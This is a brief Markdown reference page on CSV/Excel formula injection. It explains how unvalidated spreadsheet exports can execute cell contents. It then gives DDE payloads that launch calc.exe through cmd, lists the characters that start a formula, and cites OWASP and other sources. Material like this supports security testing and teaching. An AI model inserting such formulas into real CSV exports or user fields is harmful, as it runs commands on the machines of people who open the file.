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32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
# CSV Excel formula injection
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Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
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## Exploit
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Basic exploit with Dynamic Data Exchange
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```powershell
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DDE ("cmd";"/C calc";"!A0")A0
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@SUM(1+1)*cmd|' /C calc'!A0
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```
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Technical Details of the above payload:
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cmd is the name the server can respond to whenever a client is trying to access the server
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/C calc is the file name which in our case is the calc(i.e the calc.exe)
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!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
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Any formula can be started with
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```powershell
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=
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+
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–
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@
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```
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## References
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* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection)
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* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
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* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/) |